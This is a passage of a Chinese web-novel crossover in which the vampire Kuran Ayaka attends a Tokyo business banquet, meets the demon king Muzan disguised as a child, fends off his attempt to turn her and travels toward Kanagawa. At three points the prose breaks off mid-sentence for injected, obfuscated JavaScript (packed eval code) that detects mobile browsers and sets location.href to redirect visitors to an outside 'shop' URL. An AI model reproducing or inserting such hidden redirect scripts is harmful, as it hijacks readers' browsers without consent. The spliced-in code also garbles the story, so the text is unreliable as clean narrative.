乌鸦大多都是集群生活,特别是寒冷的季节,野外是很少能见到形单影只的乌鸦的。 因此鎹鸦才觉得她奇怪。 玖兰绫夏扑棱了两下翅膀,从树枝上跳起来,飞到另一根更远的树枝上。落在那里之后,她开始梳理羽毛。 那只鎹鸦站在原地看着她,没有追过来。 过了一会儿,玖兰绫夏再次飞起来,越过院墙,消失在了外面的树林里。 鎹鸦目送她飞远,然后从树枝上落下,停在产屋敷耀哉的窗台上。 “主君,吾辈刚才发现了一只奇怪的乌鸦。” 产屋敷耀哉停下笔:“哦?” 鎹鸦:“从喙、爪、羽片来判断,那是一只成年雌鸦。这些天她总是在这附近徘徊,普通的野鸟不会一直待在一个地方不走,除非这里有食物或者巢穴。她也不和其他鸟来往,这不太正常……” 玖兰绫夏的乌鸦飞离总部后,一路钻进山林深处,找了棵枝叶茂密的老树蹲下。 刚才那只鎹鸦问话的语气太像人了,问的问题也很有针对性,像是在盘问什么可疑人物。 她还不打算和鬼杀队有什么交集,所以还是先躲躲吧。 又一个月过去。 算起来,玖兰绫夏已经在东京待了两个多月。 她走遍了大街小巷,但还是没有查找到任何同类存在的痕迹。 就好像这个世界上除了她根本没有其他血族。 她叹了口气,或许该换个地方了。 京都那边有很多老派贵族聚居,不如去那里看看? 她正想着,门口传来田中管家的敲门声:“绫夏小姐,您现在有空吗?” 玖兰绫夏放下手里的茶杯,走过去开门。 田中管家站在门外,双手送上一个信封:“有您的拜帖。” 玖兰绫夏接过信封,上面是用钢笔写的字,笔迹工整,带着一点西洋式的花体。 落款处写着三井清彦。 信的内容先是问候,然后道歉最近事务繁忙未能前来拜访,最后询问是否方便见一面,他在酒店一楼的咖啡厅等候。 玖兰绫夏:“这种事直接打电话进来不就好了吗?” 她不是很明白,为什么又送拜帖又让人转达,绕这么大一圈。 田中管家微微一笑,解释道:“三井先生应该是觉得直接来电过于唐突了。递上拜帖,再由管家代为转达,这样更符合礼数。尤其对女士,这样更加尊重。” 玖兰绫夏对这个时代的社交礼仪不太了解,不死川实弥的记忆里也根本没有这方面的有用知识。 “行吧。”她把拜帖随手放在门边的柜子上,换好鞋后,说:“走吧。” 田中管家的表情有点意外。 一般情况下,女士接到男士的约见,特别是这种临时性的,让对方等上一会儿才是正常的。 洗漱、换衣、梳头、上妆,哪样不需要时间? 稍微讲究一点的话,等上半个时辰都是常事。 绫夏小姐这样看完拜帖直接就走的,倒是少见。 咖啡厅里零星坐着几位客人,阳光透过蕾丝窗帘投在胡桃木桌上,空气中飘着馥郁香气。 三井清彦坐在靠窗的桌前。 他今天穿了一身浅灰色的西装,剪裁合体,领口系着领带。他面前放着一杯咖啡,听到脚步声抬起头,目光落在玖兰绫夏身上,愣了一下。 没料到拜帖送上去之后等来的不是管家的回复,而是她本人。 他很快站起身,脸上露出温和的笑容:“下午好,绫夏小姐。” 玖兰绫夏:“清彦君,好久不见。” 两个月前有过一面之缘的男人,突然约见她,会有什么事呢。 她在对面坐下,点了杯红茶,配一份洋菓子。把菜单还给侍者后,她靠在椅背上,也不着急开口,等着他自己说出目的。 三井清彦:“最近事情太多了,一直没能来拜访,实在是抱歉。” 玖兰绫夏端起刚刚送来的红茶抿了一口,不置可否。 她不太明白,为什么要为这种事情道歉。 又没有谁规定他一定要来拜访她。 三井清彦拿出一个长条形的丝绒盒子,放到她面前:“这个或许绫夏小姐用得上。” 她打开盒子,里面放着一条项链,正是她两个月前卖掉的那条。 三井清彦对上她疑惑的目光,解释道:“绫夏小姐还记得我们第一次见面的那天吗?你从宝石店出来,遇到了那些坏人。我当时就在想,你为什么会在那种时间从珠宝店出来。担心你是不是有什么难处,所以才着人询问,知道了这条项链的事。” “这么好的东西卖掉实在可惜,我当时就自作主张买下来了。只是后来太忙,一直也就没能把这条项链交还给你。” “绫夏小姐若是有什么难处,不必委屈自己。我虽然不是多了不起的人,但帮衬一二还是可以的。” 玖兰绫夏听完,脸上没什么特别的反应。 她把盒子盖上,放到一边:“我不会白拿你的东西,你有什么事需要我办的吗?” 三井清彦:“绫夏小姐误会了,我没有什么事需要你办。” 玖兰绫夏不赞同地说:“那我就不能要了。” 不想欠这种来路不明的人情。 三井清彦沉吟片刻后说:“如果绫夏小姐觉得过意不去,倒真有一件小事,或许能劳烦你。” “后天有一场商业酒会,在帝国饭店的宴会厅,参加的都是国内外的商贸伙伴。大家要么带女伴,要么带助手,凑在一起谈些生意上的闲话。我身边实在没什么合适的人,所以……” 他垂下眼,语气听起来颇有些无奈。 玖兰绫夏:“商业上的事情,我不懂。” 怕她有所顾虑,男人连忙解释:“不需要懂那些,也不用你应酬任何人,只需要陪我去露个面就好。若是觉得无聊了,我们中途退场也无妨。” 既然他都这么说了,玖兰绫夏便答应了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442396|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天下午。 她刚睡醒没多久,门口就传来敲门声。 她穿着睡衣,头发也没梳。 门外站着三个人,前面是田中管家和三井清彦,后面是一个穿着职业装的陌生女性。她手里推着一辆小推车,车上码放着几个包装精美的盒子。 玖兰绫夏:“这是?” 三井清彦微笑:“明天酒会的礼服,不知道绫夏小姐喜欢什么款式,我就多挑了几套,你试试看喜不喜欢?” 玖兰绫夏想起昨天他说会派人来送礼服,没想到他亲自来了。 “你今天不忙?”她问。 逐渐习惯了她简短直接的表述方式,三井清彦也简明地回复:“今天没事。” 这样的话,她也只好让人进来了。 三井清彦在沙发坐下,田中管家自觉去准备茶水。 玖兰绫夏把窗帘拉开,让阳光照进来。 那位女性把推车上的盒子一一卸下,在茶几上摆开,打开盒盖:“玖兰小姐,请过目。” 大概是猜测过她的喜好,这些礼服大多是西洋款式,只有少数几套是日式,颜色也以深色为主。 玖兰绫夏没有试一大堆衣服供人欣赏的习惯,而且对方还是个不太熟的男人。 她只挑了一件洋服和一件和服,拿进卧室里试。 洋服是深红色的,收腰设计,裙摆到脚踝。和服是深紫色的,面料柔软,上面绣着藤花图案。 腰带的系法她不太会,还是那位女性帮忙弄好的。 两套都很合身,像是量身定做的一样。 玖兰绫夏让三井清彦决定要选哪个风格,他选了洋服。 剩下的那些衣服鞋子,玖兰绫夏让他全部带回去的时候,三井清彦还愣了一下。 “这些都是我特意为你挑选的,希望你能收下。” 玖兰绫夏:“不用了。” 倒也不是不喜欢,只是她已经打算离开东京了,这么多礼服路上不好带。 三井清彦不知缘由,见她坚持,只好说:“都听绫夏小姐的。” 他从怀里取出一张正式的邀请函,双手递交给她:“这是明天的邀请函,时间是晚上六点,到时候我来接你,可以吗?” 玖兰绫夏接过:“好。” 三井清彦欠身:“那就不打扰了,明天见。” 次日。 帝国饭店是全东京最豪华的西洋式酒店。 黑色轿车行驶到酒店门口,门僮上前拉开车门,三井清彦下车后伸手扶玖兰绫夏下来。 宴会厅在二楼,里面已经站满了人。 男士们穿着西装或燕尾服,女士们穿着各式各样的礼服裙子,珠光宝气,笑语盈盈。 三井清彦一进门就有人凑上前来。 “三井先生,您来了!” “清彦君,令尊身体可好?” “三井先生,上次的事……” 三井清彦脸上挂着淡淡的笑容,一一应对。 玖兰绫夏站在他身边,接受着那些好奇的目光。 “这位小姐是?”有人问。 三井清彦:“这位是玖兰小姐,我的朋友。” 没有提家世,没有提背景,那些人精似的商人立刻明白这是不愿过多透露的意思。 他们也不好追问,只是纷纷说“玖兰小姐真是光彩照人”、“三井先生的朋友,果然气度不凡”。 玖兰绫夏听着这些客套话,内心毫无波澜。 过了一会儿,趁着一个空档,她对三井清彦说:“我去旁边休息一下,你自己忙吧。” 三井清彦:“我陪你……” “不用。”玖兰绫夏打断他。 正好又一拨人走上前来,热情地喊着“三井先生”。 三井清彦只好嘱咐她尽量不要走太远。 玖兰绫夏穿过宴会厅,来到入口处附近。那里站着几个穿着制服的工作人员,手里拿着宾客名单,负责核对入场人员。 玖兰绫夏走到那个人面前:“宾客名单给我看一下。” 理所当然的态度让那个人愣了一下。 对上她的目光后,工作人员的眼神恍惚了一瞬,然后乖乖把名单递了过去。 11.眷属 玖兰绫夏接过来翻开。 第一页全是三井、岩崎、住友之类的大姓。她翻到第二页,目光停在一个名字上:一条义文。 念识扩散出去,漫过整个会场,很快她在人群中找到了被称作一条先生的男性。 三十来岁的男人,穿着和服,和几个人站在一起交谈。 玖兰绫夏把名单还回去,朝那个方向走去。 走到附近,站在几步之外看着那人的侧脸。没过多久,玖兰绫夏就和他对上了视线。 那一瞬间,她的催眠术已经送了过去。 男人的眼神涣散了一秒,然后他抱歉地对身边的人说了句什么,转身朝她走了过来。 “您好。”他走到玖兰绫夏面前,语气很客气,“请问您是……” 玖兰绫夏直接问:“你是一条家的什么人?” “在下一条义文,家父是一条家的现任掌权者。请问小姐是?” 这个人身上一点血族的气息都没有,只有普通人类的气味。 玖兰绫夏没有回答他的问题,只是继续问:“一条家还有其他分支吗?或者东京有其他也姓一条的家族?” 一条义文摇头:“据我所知,没有。我们一条家虽不算世家大族,但在东京也是有些根基的。其他姓一条的,我没听说过。” 玖兰绫夏沉默了。 一条拓真,元老院院首,纯血玖兰家最重要的眷属之一。他从纯血始祖领导的时代就存在了,至今最少活了七百多年。 两个多月来,她走遍了东京,释放了纯血种的气息,一无所获。 现在连一条这个姓氏都只是普通的巧合。 玖兰绫夏心里忽然浮起一个猜想。 也许,不是她找不到他们,而是这个时代根本没有血族。 也许,她掉进的这个时空,和她来的那个世界,根本就不是同一个。 她沉默得太久了,一条义文有点奇怪地看着她:“请问,您找一条家有什么事吗?” 玖兰绫夏回过神:“认错人了,抱歉。” 她转身离开,留下一条义文站在原地,一脸茫然。 三井清彦一直在注意她。 从她离开他身边,到她走向入口处翻看名单,到她穿过人群,走向那个一条家的男人面前。 绫夏小姐只是看了对方一眼,那个男人就主动走向她。 她和那个男人说了几句话,然后转身离开,脸色看起来……不太对。 三井清彦找了个借口脱身,快步朝她走过去。 “绫夏小姐。”他走到她身边,“怎么了?你对一条先生感兴趣?” 玖兰绫夏:“原以为是认识的人,结果认错了。” 三井清彦总觉得她的语气比刚才冷淡了许多,正想再问些什么,玖兰绫夏已经先开口了:“我出去透透气。” 三井清彦:“我陪你吧。” “不用了。” 她的语气没有商量的余地。 三井清彦站在原地,看着她离开,想追上去,又想起她眼神里的冷淡。 他不知道自己做错了什么,也不知道她为什么忽然变得冷淡。 明明刚才还好好的…… 三井清彦皱了皱眉,心里浮起烦躁。 这个女人,他好像总是看不透。 经过侍者的时候,玖兰绫夏随手拿了一杯香槟。 推开玻璃门,走进宽敞的露台。 楼下是一个很大的花园,草坪上立着几盏欧式的庭园灯,昏黄的光照着喷水池。 玖兰绫夏倚靠着白色雕花的栏柱上,抿了一口香槟,整理着自己的思绪。 这个世界没有血族。 那也没什么。 她还可以用那个能力回去,只是需要等冷却时间结束。 根据这两个月的进度推算,大概需要等四到五年。如果找个合适的地方让身体进入休眠状态,时间可以缩短一半以上。 两年,或者三年,她就能回去了。 或许,她应该在这里发展几个眷属。 休眠期间如果有眷属从旁照看,也会方便一点。 对于血族来说,人类是那种一眨眼就会消失的生物。所以遇到中意的人类,会把他们变成眷属,让他们能一直陪伴在身边。 把人类变成血族的能力,独属于A级纯血种。被转化的人类根据赐下纯血的多少,会变成不同等级的血族——B级、C级、D级。 等级越高,实力越强。 而那些被咬过却没有获得赐血的,就会变成E级堕落者。永远被饥饿感支配着,猎杀人类。 所以在血族的规则里,高等血族有管束低等血族的义务。遇见堕落者,需要立刻处决。 就像玖兰绫夏看到那些没有理智的恶鬼,会毫不犹豫地斩杀一样。 历史上有些纯血种为了对抗猎人,把很多人类变成了血族。但从玖兰家和猎人协会签订和平协议之后,就有意减少了转化的数量。 毕竟血族本身是具备繁衍能力的,不需要靠转化来维持族群。A级和B到D级结合,生下的是B到D级血族。纯血和纯血结合,生下的就是纯血。 如果要在这个世界待上两三年,发展一两个眷属,事情会方便很多。 第一个人选,她想到的是三井清彦。 他有钱有势,可以给她提供很好的照顾。而且他的性格温和,有分寸,不惹人烦。 一般情况下,玖兰绫夏挑选眷属优先看战斗潜力。而且大多会从年幼时期开始培养,年龄越小越好塑造。 在那个世界,玖兰绫夏不缺钱财权势。为了维护血族内部的稳定,她需要的是更多的武装力量。 她的眷属除了武力值,第二要求就是性格好。 像风柱那种脾气暴躁的家伙,就算实力再强也会被排除。 第三是智商不能太低,不能被人利用,拖后腿。 最后一点是你情我愿,她不会强迫任何人成为眷属。 有些人会因为贪图长生而假意答应,心里没有忠诚。但那没关系,成为纯血种的眷属之后,会本能地臣服于她。 无法违抗她的命令,也无法做出伤害她的事情。 所以玖兰绫夏只需要找到合适的人,问清楚对方愿意就行。 三井清彦符合性格和智商的要求,但她没有从这个财阀少爷身上看到任何战斗方面的潜力。 玖兰绫夏漫不经心地想着。 算了,还是慢慢看吧,反正这件事情不急。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448188|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就在这时,安静的花园里传来一阵秋千晃动的嘎吱声。 玖兰绫夏朝远处望去,秋千架在花园的东侧,两棵樱花树之间。 一个小小的身影坐在上面,脚尖点着地面,一下一下地晃着。 那是个看起来只有七八岁的小女孩,身上穿着漂亮的小洋服,黑色的卷发在脑后用一个大大的蝴蝶结扎着。 小女孩那张脸精致异常,一双眼睛正对着露台的方向,直直地看着她。 那是一双玫红色的眼睛。 玖兰绫夏握着香槟杯的手一顿。 那个小女孩身上,有鬼的气息。 但她的外表和人类一模一样,没有任何畸变的痕迹。 秋千发出的声音,应该是故意的。 那个小女孩早就注意到阳台上的她了,故意用声音在提醒她自己的存在。 有点意思。 这只鬼和玖兰绫夏之前见过的那些都不一样。 从眼神能看出她不是失智的怪物,会用这种方式跟她打招呼,还能伪装成这样混在人群附近……她的智商应该不低。 实力看起来也比玖兰绫夏之前砍过的那些鬼更强。 ……不知道性格怎么样? 玖兰绫夏下意识地用挑选眷属的眼光衡量她。 说起来,鬼也能正常被转化成血族吗? 她还没有试过呢。 正想着,那个小女孩皱起眉头,开口了:“你是个什么东西?” 声音隔着那么远的距离,普通人根本听不到,但他知道玖兰绫夏能听到。 鬼舞辻无惨在这观察她很久了。 这家伙不是人类,也不是他创造的鬼,而是一种他从来没有见过的生物。 超出认知之外的事物都令他不喜。 主动提醒她自己的存在,就是为了搞明白,她到底是什么。 他故意摇晃秋千,让她注意到自己,然后等着看她的反应。 结果她没有什么特别的反应,还有点走神的样子。 “这种话,真没礼貌呢。” 玖兰绫夏的声音也传过来了,轻柔的语气里带着一点笑意,像是在和一个不懂事的小孩说话。 这果然是个能沟通的鬼。 虽然态度好像不怎么样,不过,这小孩没见过血族,她就原谅她的无知好了。 把香槟杯放在栏柱上,玖兰绫夏双手交叠撑着汉白玉的栏柱,对那边的小女孩露出一个微笑:“小朋友,你是鬼吧,我和你不一样哦。” “我知道。”无惨嘴里发出冷冰冰的孩童音,“所以我在问你,你是个什么东西。” 玖兰绫夏:“这样问话很没有礼貌呢。而且,在问别人之前应该先介绍自己,你家大人没有教过你吗?” 无惨的手指握紧了秋千的绳索。 这个不知道从哪冒出来的女人是在教训他吗? 竟敢用这种语气跟他说话? 他忽然很想尝尝看她的血是什么味道。 但他忍住了。 楼上的那个宴会厅里,全是东京的商界名流。 三井家的人,岩崎家的人,还有一些外国人。如果在这里闹出什么动静,明天整个东京都会传遍。 太麻烦了。 12.撒谎 夜风一吹,小女孩的蕾丝裙摆晃动,衬得她愈发可爱。 一个女仆从花园那头匆匆走近:“小姐怎么一个人在这里?夜色快沉了,快跟我回去吧,老爷夫人该担心了。” 无惨牵住女仆递过来的手,从秋千上跳下来。 临走前,他回头看了一眼。 露台上,玖兰绫夏还倚靠在那里,低头看向这边。垂落肩头的金发,在夜晚也格外显眼。一身优雅的西洋长裙,领口露出价值不菲的宝石项链。满身贵气,但态度又有点散漫。 两人的视线再次相遇,无惨嘴角弯起一个意味不明的冷笑,然后任由女仆牵着离开。 没人知道,这个倍受父母宠的藤代家独女,内里藏着一个活了上千年的鬼王。 鬼舞辻无惨找青色彼岸花找了整整一千年,派出去的鬼一批又一批,始终没有消息。 三个月前,他偶然听闻,一些从西洋归来的商人带回了许多稀奇的植物种子,在东京的贵族圈子里掀起热潮。 于是,他取代了这个小女孩,混进了藤代家。 陪着“父母”出入各种宴会、茶会、赏花会,大人们聊天时从不防备一个懵懂的孩子,他便不动声色地探听了各种海外奇物的消息。 只是三个月过去了,青色彼岸花依旧毫无踪影,无惨已经开始不耐烦了。 应付完藤代夫妇的嘘寒问暖,无惨回到了卧室。女仆服侍他换下身上的洋服,穿上寝衣。 女仆熄了灯离开后,无惨睁开眼,玫红色的瞳孔在黑暗中发出妖异的光,那张精致的孩童脸看起来越发诡异。 脑子里回想着刚才那个女人的样子。 不是鬼,也不是人类,一个完全陌生的东西。 而且她看他的眼神……那种居高临下的打量,像是在看一件有趣的物件,让他很不舒服。 鬼舞辻无惨召来一只鬼,把女人的外貌共享到他的大脑里,命令:“去查这个女人,我要知道她的身份、来历,顺便试探一下有没有什么特殊能力。” 活了上千年,从没见过这种古怪的生物。不管是什么,他都要搞清楚。 如果有利用价值,那就掌控在手中。如果是威胁,那就趁早抹杀。 另一边,玖兰绫夏看着那个小女孩被女仆带走,还有点可惜。 这可是她来到这个时代之后,遇到的第一只有理智的鬼。而且看起来实力不弱,哪怕伪装成孩童,也藏不住眼里的傲慢。 还没来得及和她认识一下呢。 那女孩看她的最后一眼,好像在说“我们还会再见的”。 玖兰绫夏弯了弯嘴角,要是能再见面的话,倒是可以看看她是否符合成为眷属的标准。 商业酒会还在热闹进行,悠扬的乐曲隔着玻璃门传来,可她已经没了留下来的兴致。 和三井清彦说了一声,对方很客气地说要送她回去。 玖兰绫夏婉拒,这次他却十分坚持:“绫夏小姐,这么晚了一个人回去不安全,还是让我送你吧。” 玖兰绫夏就没再拒绝。 轿车停在她下榻的酒店门口,三井清彦率先下车,绕到另一侧为她拉开车门。 扶着他的手下了车,玖兰绫夏发现他一副欲言又止的样子。 “还有事?” 三井清彦问:“绫夏小姐,请问我还能再约你见面吗?” 玖兰绫夏直言道:“清彦君,你对我有什么目的?” 三井清彦愣了一下。 “第一次见面就主动帮忙,后来又送回我的项链,邀请我参加酒会。我很好奇,你到底想从我这里得到什么?” 玖兰绫夏马上就要离开,如果他能据实告知,说不定她还能稍微帮个忙。 面前的男人脸却忽然红了。 玖兰绫夏:“?” 一副害羞的表情是怎么回事? 难道他不是看出了她不是普通人,才故意接近她的? “绫夏小姐,我承认,我接近你是有私心的。说出来你可能觉得可笑,但我第一次见你就心生欢喜……我对绫夏小姐是一见钟情。” “谢谢你的好意,但我不打算接受。” 玖兰绫夏平淡道谢。 没想到她拒绝得如此干脆,丝毫不留情面,三井清彦的表情僵硬起来。 过了一会儿,他才勉强挤出一个笑容,语气苦涩:“抱歉,是我唐突了,打扰到你了。” 玖兰绫夏看着他失落的模样,心里没有太多波澜:“还有,我打算离开东京了。” “离开?”三井清彦讶异,“难道是因为我刚才说的那些话,给你造成了困扰吗?如果是这样,我道歉,以后再也不会提起了……” “当然不是。我本来就有自己的事要办,来东京只是路过而已,和你无关。” 听到这话,他才松了口气:“那就好,绫夏小姐要去哪里?我可以送你过去。” “京都,或者神奈川,还没定。我想自己慢慢走着去,看看沿途的风景,就不劳你操心了。” 三井清彦十分无奈,想到认识这么多天,他还对绫夏小姐的事情一无所知。不知道她来自哪里,不知道她要去做什么,就连表白也被拒绝了。 现在她还要离开,以后能不能再见面都是未知数。他咬了咬牙,又鼓起勇气问道:“绫夏小姐能不能留下一个联系地址?” “你可以留一个给我,等我找到固定居所,也许会再联系你。” 他连忙从怀里掏出钢笔和随身携带的名片,在背面飞快地补充了自己的私人住址和电话,双手递过去。 “这个地址不管是写信还是打电话,我都一定能收到。” 玖兰绫夏接过名片:“那就这样,清彦君,再会。” 回到房间后她就开始收拾行李了。 她找了一个更大的黑色皮箱,把日轮刀放进去。又把换洗衣物叠整齐,大多是轻便的西洋长裙。还往箱子里放了一双备用的小皮鞋和一把洋伞。最后,还把前几天特意购买的一捆帆布吊床塞了进去。 这种吊床轻薄柔软,挂在树上能防潮防虫。接下来说不定要在山里露营,这个东西很实用。 她随手把三井清彦那张名片也塞进了箱子里。 凌晨时分,玖兰绫夏提着箱子离开了酒店。 夜色正浓,街道上空无一人。 她沿着主路往前走,穿过繁华的街区,朝着城外的方向走去。身后的高楼渐渐变成低矮的房屋,再后来,房屋也渐渐消失,只剩下茂密的树林。 走了几个小时,玖兰绫夏忽然放慢了脚步。 有人在跟踪她,对方很谨慎,脚步声几乎没有,普通人很难察觉到。 又是哪里来的劫匪吗? 不。 她闻到了鬼的气息。 玖兰绫夏脚步一转,偏离了主路,走进旁边的杂木林。 林子深处,跟踪玖兰绫夏的鬼突然失去了她的踪迹,他站在原地茫然地转动脑袋。 这只鬼身材高大,穿着一身洗得发白的普通和服,外表看起来和人类没太大区别,只是皮肤苍白得没有一丝血色。 “在找我吗?” 女人的声音从身后传来,离得很近。 那鬼浑身一僵,还没来得及反应,就觉得脖子一凉,锋利的刀刃已经贴在了他的颈侧。 玖兰绫夏不知道什么时候绕到了他背后,日轮刀上那股肃杀之气让这只鬼本能畏惧。 他哆嗦地举起两只手,作出投降的姿势:“别、别杀我,我只是路过,什么都没做,我没有想伤害你的意思……” 但是下一秒,他求饶的话戛然而止,眼底的恐惧瞬间消失。鬼舞辻无惨,直接接管了这只鬼的身体。 无视了脖子上的威胁,他慢慢转过身来。 随着他无所顾忌的动作,刀刃在他脖子上划开一道口子。皮肉翻卷,但没有直接切断。 伤口流出的血,让玖兰绫夏的瞳孔一缩,缓缓变成了暗红色。 她察觉这只鬼的眼神和刚才不一样了,现在变得冷漠、还有种高高在上的审视感。 和刚才那个小女孩一样的鬼,有点像。 “这把刀是鬼杀队的日轮刀,但你明显不是猎鬼人。你到底是什么东西?从哪来的?” 鬼提出了他的疑问。 “我是血族,来自海外,你应该没见过。” 突然看到一个不知底细的异类,会想着跟上来看看,倒是人之常情。 玖兰绫夏撤回了架在对方脖子上的刀,刀尖垂向地面:“既然你能沟通,那我们聊聊。” 无惨:“聊什么?” “既然你是有理智的鬼,那我问你,你有没有试过不吃人?” 无惨的眉尾挑起:“不吃人?” “对,比如吃动物,或者其他什么东西。我们血族以前也是吸食人类的,但现在已经发展为食用动物血和替代剂也可以维持身体机能了。” 像是听到了什么极其可笑的事情,无惨嘴角扯出一个嘲讽的弧度,眼神里满是轻蔑:“你在说什么胡话?只有吃人才能获得力量,动物那种低等生物,只会让你变得软弱,不堪一击。” “可人类是智慧生物,有思想,有感情,有家人。吃他们,你不觉得残忍吗?” 无惨这次直接嗤笑出声:“你吃的动物就没有思想,没有感情,没有家人吗?” “那怎么能一样呢?”玖兰绫夏觉得他有点无理取闹了,“人类有自己的文明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455211|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有自己的情感……” 无惨直接打断她的话:“弱肉强食,这是天理。人类和动物没有区别,都是鬼的养分而已,没有什么残不残忍。” 看着他那副理所当然的模样,玖兰绫夏忽然意识到,这只鬼虽然有理智,但三观和她完全不在一个频道上。 他的每一句话,都是从“鬼是食物链顶端”的前提出发。他完全不觉得吃人有什么问题,也完全没有共情能力。 算了,和这样的鬼没有多说的必要。 玖兰绫夏把日轮刀收进刀鞘里:“我可以放你走,但如果让我看到你吃人,我会杀了你。” 她虽然不想多管闲事,但也不会容忍有人在她面前滥杀无辜。 无惨取笑她这是“无用的慈悲”“妇人之仁”。 从刚才的对话,他本以为这个血族是站在人类那一边的,所以才会同情人类。 可没想到,她似乎也不打算与鬼为敌。 正好,他活了上千年,还从来没有试过把人类以外的物种转化成鬼。这个血族看起来不弱,如果把她变成鬼,说不定能成为他的得力助手,甚至能帮他找到青色彼岸花。 脑后忽然传来破空声,玖兰绫夏侧身躲开,那只鬼的爪子擦着她的耳畔掠过。 她抬起日轮刀,用刀鞘架住了鬼的第二击。语气不悦:“你干什么?” 突然暴起,这是疯了吗? 她都已经放他走了,他竟然还敢主动攻击她? 鬼没有回答,只是继续疯狂进攻,每一次攻击都瞄准了她的脖颈、心脏等血管丰富之处。 玖兰绫夏很快就意识到了什么:“你想把鬼血注入我的身体?” 那只鬼嘴角勾起一个笑容,夸奖地说:“不笨嘛。” 玖兰绫夏不解:“为什么突然想投喂我?” 要知道鬼的血也和动物、人类的血一样,能够给她提供养分。所以她下意识地认为,对方是想要给她投食,讨好她。 “……不对,你是想把鬼王的血注入我身体?想把我变成同类?” “没错。”那只鬼的语气带着一点兴味,“我倒要看看,同情人类的家伙变成鬼之后,还能不能忍住吃人的欲望!” “真是恶趣味呢。”玖兰绫夏吐槽了一句,“但是要让你失望了,我是纯种血族,鬼王的血并不能把我变成鬼。就算鬼王亲自来,也改变不了这个事实。” 身为继承了纯血始祖血脉的玖兰家主,她这点自信还是有的。 无惨停下了攻击。 他现在操纵的这个鬼的身体太弱小了,在这个血族面前根本讨不到便宜。 她的速度、力量、反应,都远超了无惨的预想。 “你说的纯种血族,那是什么意思?” 玖兰绫夏用他能理解的方式解释说:“意思就是,我和你们的鬼王一样,也是那种能把别人发展为同类的存在。” 无惨的眼神一动:“你是说,你和我,是一样的?” 玖兰绫夏不明所以地上下打量了他一番:“……你是鬼舞辻无惨?” 她从之前遇到的两只鬼的记忆里,见过鬼王的模样。强大、貌美、气场慑人。 可眼前这只鬼,容貌普通,和记忆里的鬼王判若两人。而且刚才交手的感觉,也远没有她想象中那么强。 难道说,这不是他的本体? 无惨却是有点惊讶:“你知道我?” 这血族不是海外来吗? 难道他的名字都传到海外去了?! 该死的,他不是对所有鬼都下了禁令吗?! 玖兰绫夏随口说:“我在别的鬼那里听说过你的名字。” 无惨直接拆穿:“撒谎。” 除了十二鬼月,任何鬼提到他的名字,都会被立刻抹杀。 这是刻在每一只鬼血脉里的规则,无法违抗,无法逃脱。 所以没有鬼敢在别人面前提他的名字。 她手里有日轮刀,所以,她更可能是从鬼杀队那里听到的信息。 夜色一点点褪去,远处的天边开始泛起淡淡的灰白。再过不久,太阳就要升起了。 无惨的眉头皱了一下,不想继续浪费时间在无意义的争论上。 “血族,你叫什么名字?” “玖兰绫夏。” 她像是完全不介意把自己的名字告诉其他人,无惨盯着她:“我是鬼舞辻无惨,玖兰绫夏,我还会再来找你的。” 他还是第一次对一个异类,产生了强烈的兴趣。 说出自己名字的时候,这位鬼王的语气傲慢至极,后面那句话听起来也是明晃晃的威胁。 玖兰绫夏不以为意地给了他一个敷衍的淡笑:“好啊,那我等着。” 13.实弥:? 玖兰绫夏没有在意鬼王的话。 他惧怕阳光,白天会躲起来。但她无所谓,继续着自己的旅途。 原本她是往京都方向走的,因为刚刚想到了海外的事情,便调转方向往东边的神奈川走去。 这个时代的神奈川是东京湾畔最国际化的地方。首府横滨有日本第一的贸易港,每天都有来自英国、法国、德国的商船进进出出。 港口附近有外国人居留地,还有被称为“南京町”的中华街,那里应该会很热闹。 再往南走,湘南海岸那一带有海水浴场,还有专为有钱有势的人建造的别墅区。 海风,沙滩,洋房,想想就很适合度假。 当成休眠地也不错吧。 玖兰绫夏沿着小路慢行,现在开春了,路边的田埂上都冒出了嫩绿的草芽,山林里的树也有一层绿意覆在上面。 路过村镇,她有时会进去逛逛。买点鲜宰的牛血,品尝当地的特色小吃,看看热闹。 这个时节,春耕已至,各处神社都在举办田神祭。村民们供奉酒、米、年糕,集体参拜。年轻女子穿彩衣、唱插秧歌,十分热闹。 晚上还围着篝火,焚烧稻穗,占卜当年收成。最后将灰烬撒进田里,祈求丰收。 玖兰绫夏一路走走停停。 直到这天清晨,她路过一个小镇。天刚蒙蒙亮,许多人家还没开门,街上空荡荡的。 玖兰绫夏在街口停下脚步,她闻到了人血的气味。 很重,很浓,从前面那条巷子里飘过来。 她顺着气味走过去,穿过那条深巷,她看到了一个躺倒在地上的人影。 那是一个年轻少女,身上穿着鬼杀队的队服,外面罩着粉白相间的羽织。她的日轮刀脱手,掉在几步之外。 她闭着眼睛,脸色惨白,胸口微弱地起伏着,只剩一口气了。 